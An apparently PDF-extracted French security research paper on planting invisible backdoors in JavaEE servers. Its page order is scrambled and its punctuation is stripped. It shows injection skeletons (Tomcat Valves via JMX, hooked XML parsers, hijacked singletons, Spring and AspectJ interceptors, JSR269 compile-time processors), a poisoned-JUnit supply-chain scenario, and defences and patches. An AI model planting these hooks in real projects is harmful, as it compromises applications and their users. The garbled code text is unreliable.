La nouvelle version de lrsquoalgorithme recherche en priorite les fichiers propertiesavant de rechercher les classes Si un seul fichier properties existe les classes ne sontpas recherchees Cette legere modification de la semantique doit etre pratiquementinvisible Malgre nos recherches nous nrsquoavons jamais rencontre de situation ou unfichier properties doit legitimement etre surcharge par une classe
Il est possible drsquoavoir un apercu des impacts en consultant le resultat de cette page httpwwwgooglecomcodesearchq=extends+PropertyResourceBundle+lang
3Ajava
Nous proposons un correctif de la classe ResourceBundle pour le JDK5 Lrsquoarchivepatch-ResourceBundle-5jar propose une modification de la classe standard deJava Pour lrsquoutiliser il faut ajouter un parametre au chargement de la machinevirtuelle
$ java -Xbootclasspathppatch -ResourceBundle -5 jar
Le JDK6 offre de nouvelles fonctionnalites pour lrsquoutilisation des RessourcesBundlesvia une refonte totale de cette classe En outre il est possible de specifier un objet encharge de gerer le chargement des ressources Nous proposons le singleton suivantpermettant drsquoordonner le chargement des ressources
static final ResourceBundleControl securityControl =
new ResourceBundleControl ()
private ConcurrentHashMap ltString String gt
cacheType=
new ConcurrentHashMap ltString String gt()
public List ltString gt getFormats(String baseName)
return CollectionsunmodifiableList(
P Prados 441
ArraysasList(securityorder))
public ResourceBundle newBundle(String baseName
Locale locale
String format ClassLoader loader
boolean reload)
throws IllegalAccessException
InstantiationException IOException
ResourceBundle bundle=null
if (formatequals(securityorder))
String lastFormat=cacheTypeget(baseName)
if (lastFormat ==null)
bundle=supernewBundle(baseName locale
javaproperties
loader reload)
if (bundle =null)
cacheTypeput(baseName javaproperties)
else
cacheTypeput(baseName javaclass)
bundle=supernewBundle(baseName locale
javaclass
loader reload)
else
bundle=supernewBundle(baseName locale
lastFormat
loader reload)
return bundle
public boolean needsReload(String baseName
Locale locale
String format
ClassLoader loader
ResourceBundle bundle
long loadTime)
boolean result=
superneedsReload(baseName locale
format loader bundle loadTime)
if (result)
cacheTyperemove(baseName)
return result
Il doit etre utilise a chaque invocation de RessourceBundle
442 Porte derobee dans les serveurs drsquoapplications JavaEE
ResourceBundlegetBundle(Messages securityControl)getString(key)
Comme cette approche nrsquoest pas utilisee systematiquement par les projets ilest preferable drsquoenvisager un patch du JDK6 Lrsquoarchive patch-ResourceBundle-6jarpropose une modification de la classe standard de Java Les modifications sontminimes
Un diffstat indique lrsquoetendu des modifications
ResourceBundlejava | 108 +++++++++++++++++++++++++++-------------------------
1 file changed 58 insertions (+) 50 deletions(-)
Lrsquoalgorithme recherche une ressource format par format et non tous les formatsa la fois Lrsquoordre par defaut des formats est egalement modifie pour privilegier leformat javaproperties avant le format javaclass Pour utiliser le patch il faut ajouterun parametre au chargement de la machine virtuelle
$ java -Xbootclasspathppatch -ResourceBundle -6 jar
Si un utilisateur souhaite melanger des ressources au format properties et desressources au format class il doit nrsquoutiliser que le format class et simuler alors leformat properties
mv sampleproperties sampleprop
public static class sample extends PropertyResourceBundle
public sample () throws IOException
super(sampleclassgetResourceAsStream(
rsquorsquo+sampleclassgetName ()
replace(rsquorsquorsquorsquo)+prop))
6 Conseils pour se proteger
Voici quelques regles de bonnes pratiques pour se proteger autant que possibledes portes derobees generiques
Le premier conseil est drsquoexecuter le serveur drsquoapplications avec la securite Java2activee Il faut ouvrir les privileges pour chaque archive une a une et non globalementpour le composant Ainsi un droit offert a un framework nrsquoest pas disponible pour laporte derobee presente dans une autre archive
P Prados 443
Malheureusement les frameworks indiquent rarement les privileges necessairesSeul un test permet drsquoouvrir au fur et a mesure lrsquoensemble des droits necessaireset uniquement ceux-ci Crsquoest un processus long et complexe car les erreurs lors delrsquoabsence drsquoun privilege ne sont pas toujours explicites Il faut effectuer un test completde lrsquoapplication pour verifier qursquoaucun privilege nrsquoait ete oublie En demandant latrace de tous les privileges refuses il est envisageable de les synthetiser plus facilement
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run -security 2gtamp1 | grep ^ access
Les logs indiquent les privileges accordes mais sont difficiles a interpreter
access access allowed (javalangRuntimePermission accessDeclaredMembers)
access access allowed(javaioFilePermissionwebappsbackdoorjee -sample
WEB -INFclassesorgspringframeworkwebservletmvcannotationAnnotation
MethodHandlerAdapterBeanInfoclass read)access access denied (javalang
RuntimePermission defineClassInPackagejavalang)
Pour faciliter cette etape nous proposons une base de donnees des privilegesnecessaires aux composants16 Nous comptons sur les lecteurs pour lrsquoenrichir
Le deuxieme conseil important Ne faites pas confiance aux referentiels Uneattaque sur le referentiel Mavenx par exemple et tous vos projets possedent des portesderobees generiques
Pour srsquoassurer de la bonne sante des composants a deployer effectuez un audit deces derniers et cherchez des explications convaincantes pour toutes les alertes avantde les declarer comme des laquo faux positifs raquo
Enfin testez lrsquoutilisation de la porte derobee de demonstration dans votre projet Ilsuffit drsquoajouter une archive Il nrsquoest pas necessaire de modifier le code de lrsquoapplicationSi les traces du serveur drsquoapplications signalent la reussite de lrsquoinjection modifiezvotre configuration
La securite Java2 nrsquoest pas toujours suffisante Un detournement de la puissancedes frameworks modernes permet egalement de prendre la main sur lrsquoapplicationsans necessiter de privileges Assurez-vous de maitriser tous les risques inherents alrsquoutilisation de ces derniers (Spring AOP etc)
Drsquoautre part pour proteger un attribut contre toute modification meme sans lasecurite Java2 il faut le declarer final Cela devrait etre utilise pour les Singletons etpour tous les attributs sensibles Evitez autant que possible les Singletons drsquoautantplus si la securite Java2 nrsquoest pas active
Nrsquoutilisez jamais de ResourceBundle dans un code privilegie ( AccessControllerdoPrivileged() )Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM en
ajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation
16 httpmacaron-policygooglecodecom
444 Porte derobee dans les serveurs drsquoapplications JavaEE
-DjavaxxmlparsersSAXParserFactory =
comsunorgapachexercesinternaljaxpSAXParserFactoryImpl
-DjavaxxmlparsersDocumentBuilderFactory =
comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl
Il est preferable drsquoutiliser les patchs proposes
Vous nrsquoetes pas oblige de faire confiance aux prestataires de services ou aux SSIIVous devez imposer lrsquoutilisation de la securite Java2 des les phases de developpementSinon la tache de qualification des privileges sera trop importante et le prestatairearrivera a vous convaincre de supprimer la securite
Utilisez egalement les mecanismes proposes par le systeme drsquoexploitation pourreduire les risques Par exemple lrsquoutilisateur en charge du lancement du serveurdrsquoapplication ne doit pas avoir de droit en ecriture sur les repertoires de ce derniersauf pour les repertoires de travail
7 Scenario du pire
Au vue de toutes ces attaques nous pouvons imaginer un scenario credible quiest a notre avis le plus discret possible
Imaginons Jerome K un developpeur inconvenant drsquoune SSII participant a unprojet Web pour le compte drsquoune banque Soucieux de la securite cette derniere a misen place de nombreux filtres pour la renforcer Le code source est audite a la main les hashs SHA des archives sont verifiees au sein des WAR le developpement nrsquoapas acces a la production le code est recompile dans un environnement inaccessiblea lrsquoequipe de developpement en utilisant un repository Maven interne de referenceLe code est scelle et nrsquoutilise pas les annotations pour declarer les Servlets ou lesfiltres car le fichier webxml doit avoir le parametre metadata-complete Les classesannotees de ServletFilter Servlet ou autres ne doivent pas etre presentes et sontidentifiees par les outils drsquoaudits Le code srsquoexecute avec la securite java active Unmecanisme de teinture des variables est utilise dans la JVM pour eviter les injectionsSQL LDAP XSS CSRF etc Un pare-feu applicatif possede une liste blanche desrequetes possibles de lrsquoapplication avec une liste precise de tous les champs avecleurs types et leurs contraintes Bien entendu un pare-feu reseau nrsquoautorise que lescommunications HTTP et HTTPS via un reverse-proxy
Pour introduire la porte derobe Jerome K le pirate decide drsquointervenir surlrsquoarchive Junitjar En effet cette derniere presente deux avantages Elle est mondiale-ment connue et donc de confiance et elle ne sert que pour les tests unitaires doncelle ne presente pas de risque en production
P Prados 445
La version modifiee de cette archive doit remplacer la version du referentiel delrsquoentreprise Pour obtenir cela Jerome K demande de lrsquoaide a Adrian L lrsquoadministra-teur ayant le droit de modifier le referentiel Il lui demande de compiler un code javaen utilisant une archive piegee avec un processeur JSR269 Lors de la compilation surle poste de lrsquoadministrateur le fichier Junitjar du repository Maven et sa signatureSHA sont modifies en toute discretion La date du fichier indique une periode ouJerome K nrsquoetait pas present Il nrsquoest meme pas necessaire drsquoexecuter le programmeSeul le resultat de la compilation est sujet a discussion entre Jerome K et Adrian Lpour demander des eclaircissements sur un message drsquoerreur
Jerome K ajoute a lrsquoarchive JUnit un processeur compatible JSR269 afin depouvoir intervenir lors drsquoune compilation Ce processeur ajoute du code lors de lacompilation mais uniquement si celle-ci est effectuee sur la machine srsquooccupantdu build final (detection par sous-reseau) Ainsi rien nrsquoest visible dans toutes lesgenerations produites en phase de debug ou de qualification Le processeur nrsquoestpas utilisable lors drsquoune compilation avec Eclipse Lors de la compilation finale duprogramme par Ant ou Maven le processeur ajoute un ResourceBundle un BeanInfoou plus discretement injecte du code directement dans un fichier classe produit parle compilateur Il ajoute egalement dans un repertoire charge en classes les classescomplementaires pour les agents de la porte derobee Le processus de build invoquesans le savoir le processeur present dans Junit et modifie les classes produites sansmodifier les sources
Aucune librairie utilisee par lrsquoapplication nrsquoest modifiee Un audit du source nedonne rien ni la verification des hashs SHA des composants Aucune annotationsensible nrsquoest presente macaron-audit sur le fichier WAR ne signale rien non pluscar lrsquoattaque est specifique a un projet
En production le code injecte recupere le ServletContext soit directement lors delrsquoexecution du code injecte soit via une variable de thread comme le propose SpringPuis il ajoute dynamiquement un filtre JavaEE via les API Servlet 30 Ainsi lefichier webxml nrsquoa pas ete modifie et il nrsquoexiste pas drsquoannotations sensibles
Le filtre reste inactif pendant un mois afin de ne rien reveler Puis il se met aaccepter un mot de passe a usage unique changeant toutes les heures Sur la presencede ce mot de passe dans une requete POST la porte est ouverte Comme la portederobee utilise des requetes standards avec des champs connus le pare-feu applicatifne voit rien drsquoanormal Le trafic reseau etant standard et raisonnable en volume rienne clignote dans le pare-feu reseau
Pour communiquer avec la porte derobee Jerome K utilise une connexion anonymecomme TOR ou un proxy ouvert Pour eviter une reconstitution du trafic reseau lacommunication avec la porte derobee srsquoeffectue avec un algorithme de chiffrement
446 Porte derobee dans les serveurs drsquoapplications JavaEE
dont la clef change regulierement Comme le code de la porte derobee nrsquoindique pasles objectifs de lrsquoattaque il sera plus difficile de connaıtre les motivations de JeromeK en cas de decouverte
Par hasard lrsquoadministrateur Serge H decouvre un nombre anormal de requetesvers certaines pages pour la meme session Est-ce un code AJAX du projet Est-ceautre-chose Ayant eu la chance drsquoavoir enregistre toutes les requetes POST ildecouvre une utilisation etrange drsquoun des champs Les requetes sont toutes semblablessauf pour un seul champ Lrsquoouverture semble avoir commencee avec un mot specialdans ce dernier Il essaye lui-meme cette valeur mais cela ne donne rien Il ne sert arien de la detecter dans le pare-feu car la clef change toutes les heures
Il essaye de reconstituer la communication qui semble etre codee en b64 ou hexamais cela ne donne rien Elle est cryptee Il aurait fallu avoir une trace de toutes lesreponses pour comprendre les actions de Jerome K Il ne sert a rien de renforcer lesverifications des champs sur la page utilisee car le pirate peut exploiter toutes lespages du serveur ce que confirment drsquoautres traces a un autre moment
Comme il le presageait les adresses IP sources ne donnent rien Elles changent etviennent de tous les coins du monde
Kevin M un expert en securite est mandate avec pour objectif de bloquerrapidement la porte de decouvrir comment elle a ete injectee et par qui
Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 397
Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication
Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier
Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web
ltfilter gt
ltfilter -namegtMacaron ltfilter -namegt
ltfilter -class gtMacaronFilter ltfilter -class gt
ltfilter gt
ltfilter -mapping gt
ltfilter -namegtMacaron ltfilter -namegt
lturl -pattern gtlturl -pattern gt
ltfilter -mapping gt
Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications
Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas
Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets
ServletContextaddFilter ()
De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml
ltweb -fragment gt
ltfilter gt
3 httpwwwsecurityorgsgcodejspreversehtml
398 Porte derobee dans les serveurs drsquoapplications JavaEE
ltfilter gt
ltweb -fragment gt
Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution
Pour ajouter une valve il faut construire une instance heritant de ValveBase
avant de lrsquoinstaller dans le serveur via une requete JMX
public static void injectValve () throws Exception
final MBeanServer srv=getMBeanServer ()
final Set ltgt valves=srvqueryNames(
new ObjectName(
J2EEServer=none j2eeType=WebModule ) null)
for (Object ivalves)
srvinvoke (( ObjectName)iaddValve
new Object []
new ValveBase ()
public final void invoke(final Request req
final Response resp)
throws IOException ServletException
getNext ()invoke(req resp)
Inject code here
new String []orgapachecatalinaValve)
Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus
Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes
P Prados 399
Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise
Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves
Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase
si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege
Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory
Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework
Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse
Le code suivant est un extrait de cette implementation
public class SAXParserFactory extends javaxxmlparsersSAXParserFactory
private final
javaxxmlparsersSAXParserFactory next_
protected void hookParse(XMLReader reader
InputSource input)
throws IOException SAXException
Inject code here
readerparse(input)
public SAXParserFactory ()
next_ = nextServices(
400 Porte derobee dans les serveurs drsquoapplications JavaEE
javaxxmlparsersSAXParserFactory
comsunorgapachexerces+
internaljaxpSAXParserFactoryImpl)
public final SAXParser newSAXParser ()
throws ParserConfigurationException SAXException
return new SAXParser ()
private final SAXParser _next=
next_newSAXParser ()
public final XMLReader getXMLReader ()
throws SAXException
return new XMLReader ()
private XMLReader next_=_nextgetXMLReader ()
public final void parse(InputSource input)
throws IOException SAXException
hookParse(next_ input)
Delegate methods
public ContentHandler getContentHandler ()
return next_getContentHandler (
Delegate methods
public final boolean equals(Object obj)
return _nextequals (
Delegate methods
public final boolean equals(Object obj)
return next_equals (
La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion
P Prados 401
Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat
La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x
Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne
Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins
Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface
Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc
Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique
interface Singleton
class TheSingleton implements Singleton
private static Singleton _singleton=
new TheSingleton ()
402 Porte derobee dans les serveurs drsquoapplications JavaEE
public static Singleton getSingleton ()
return _singleton
Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee
public static void hackSingleton(
La classe drsquoacclsquoes
final Class ltgt singletonClass
Lrsquoattribut priv rsquoe
final String singletonField
Lrsquointerface du singleton
final Class ltgt singletonInterface
Lrsquoinstance courante
final Object singleton)
throws NoSuchFieldException IllegalAccessException
final Field field=
singletonClassgetDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(null
ProxynewProxyInstance(
singletonInterfacegetClassLoader ()
new Class[] singletonInterface
new InvocationHandler ()
public Object invoke(Object self
Method method
Object [] args)
throws Throwable
Inject code here
return methodinvoke(singleton args)
))
Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton
hackSingleton(
La classe drsquoacclsquoes
TheSingletonclass
Lrsquoattribut statique privrsquoe
_singleton
Lrsquointerface du singleton
Singletonclass
Le singleton courant
SingletonImpgetSingleton ())
P Prados 403
Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive
Parfois les singletons nrsquoimplementent pas drsquointerfaces
public class Singleton
private static Singleton theSingleton=new Singleton ()
public static Singleton getSingleton ()
return _singleton
En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton
public static void hackCGLibSingleton(
final Object singleton
String singletonField)
throws NoSuchFieldException IllegalAccessException
Field field = singletongetClass ()
getDeclaredField(singletonField)
fieldsetAccessible(true)
fieldset(
null Enhancercreate(singletongetClass ()
new MethodInterceptor ()
public Object intercept(Object obj
Method method
Object [] args
MethodProxy proxy)
throws javalangThrowable
Inject code here
return proxyinvoke(singleton args)
))
hackCGLibSingleton(SingletongetSingleton () _singleton)
Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2
Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton
Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement
404 Porte derobee dans les serveurs drsquoapplications JavaEE
drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque
Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets
Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP
Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP
Component
Aspect
public static class AspectSpring
Around(execution(public orgspringframeworkwebservletModelAndView
(javaxservlethttpHttpServletRequest
javaxservlethttpHttpServletResponse)))
public Object mvc(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee
De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP
Component(RegisterInterceptorRegisterInterceptorName)
public class RegisterInterceptor
extends BeanNameAutoProxyCreator
Component(BackDoorInterceptorInterceptorName)
static public class BackDoorInterceptor
implements MethodInterceptor
private static final
4 httpcodegooglecompgoogle-singleton-detector
P Prados 405
String InterceptorName=Interceptor
public Object invoke(MethodInvocation i)
throws Throwable
final Method method=igetMethod ()
final Type[] args=
methodgetGenericParameterTypes ()
if ((argslength ==2) ampamp
(args [0]== HttpServletRequestclass) ampamp
(args [1]== HttpServletResponseclass))
Inject code here
return iproceed ()
private static final
String RegisterInterceptorName=registerInterceptor
public RegisterInterceptor ()
setBeanNames(new String [])
setInterceptorNames(
new String []
BackDoorInterceptorInterceptorName )
Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml
ltcontextcomponent -scan base -package=comgooglecodemacaron gt
Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(
HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package
specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt
A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela
Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation
406 Porte derobee dans les serveurs drsquoapplications JavaEE
par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM
java -javaagentaspectjweaverjar
Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP
Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes
Aspect
public static class BackDoorAspect
Around(execution(void doGet ()) +
|| execution(void doPost ()) +
|| execution(void service ()) +
|| execution(void _jspService ()))
public void backdoor(ProceedingJoinPoint pjp)
throws Throwable
pjpproceed ()
Inject code here
Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee
Il nrsquoexiste pas de technologie pour bloquer cette attaque
Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations
ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-
tiquement comme srsquoil etait present dans le fichier webxml
P Prados 407
Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5
utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci
Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml
Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors
lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo
Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires
Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class
SupportedAnnotationTypes()
SupportedSourceVersion(SourceVersionRELEASE_6)
public class Processor extends AbstractProcessor
private static boolean onetime=false
public boolean process(
Set lt extends TypeElement gt annotations
RoundEnvironment rndEnv)
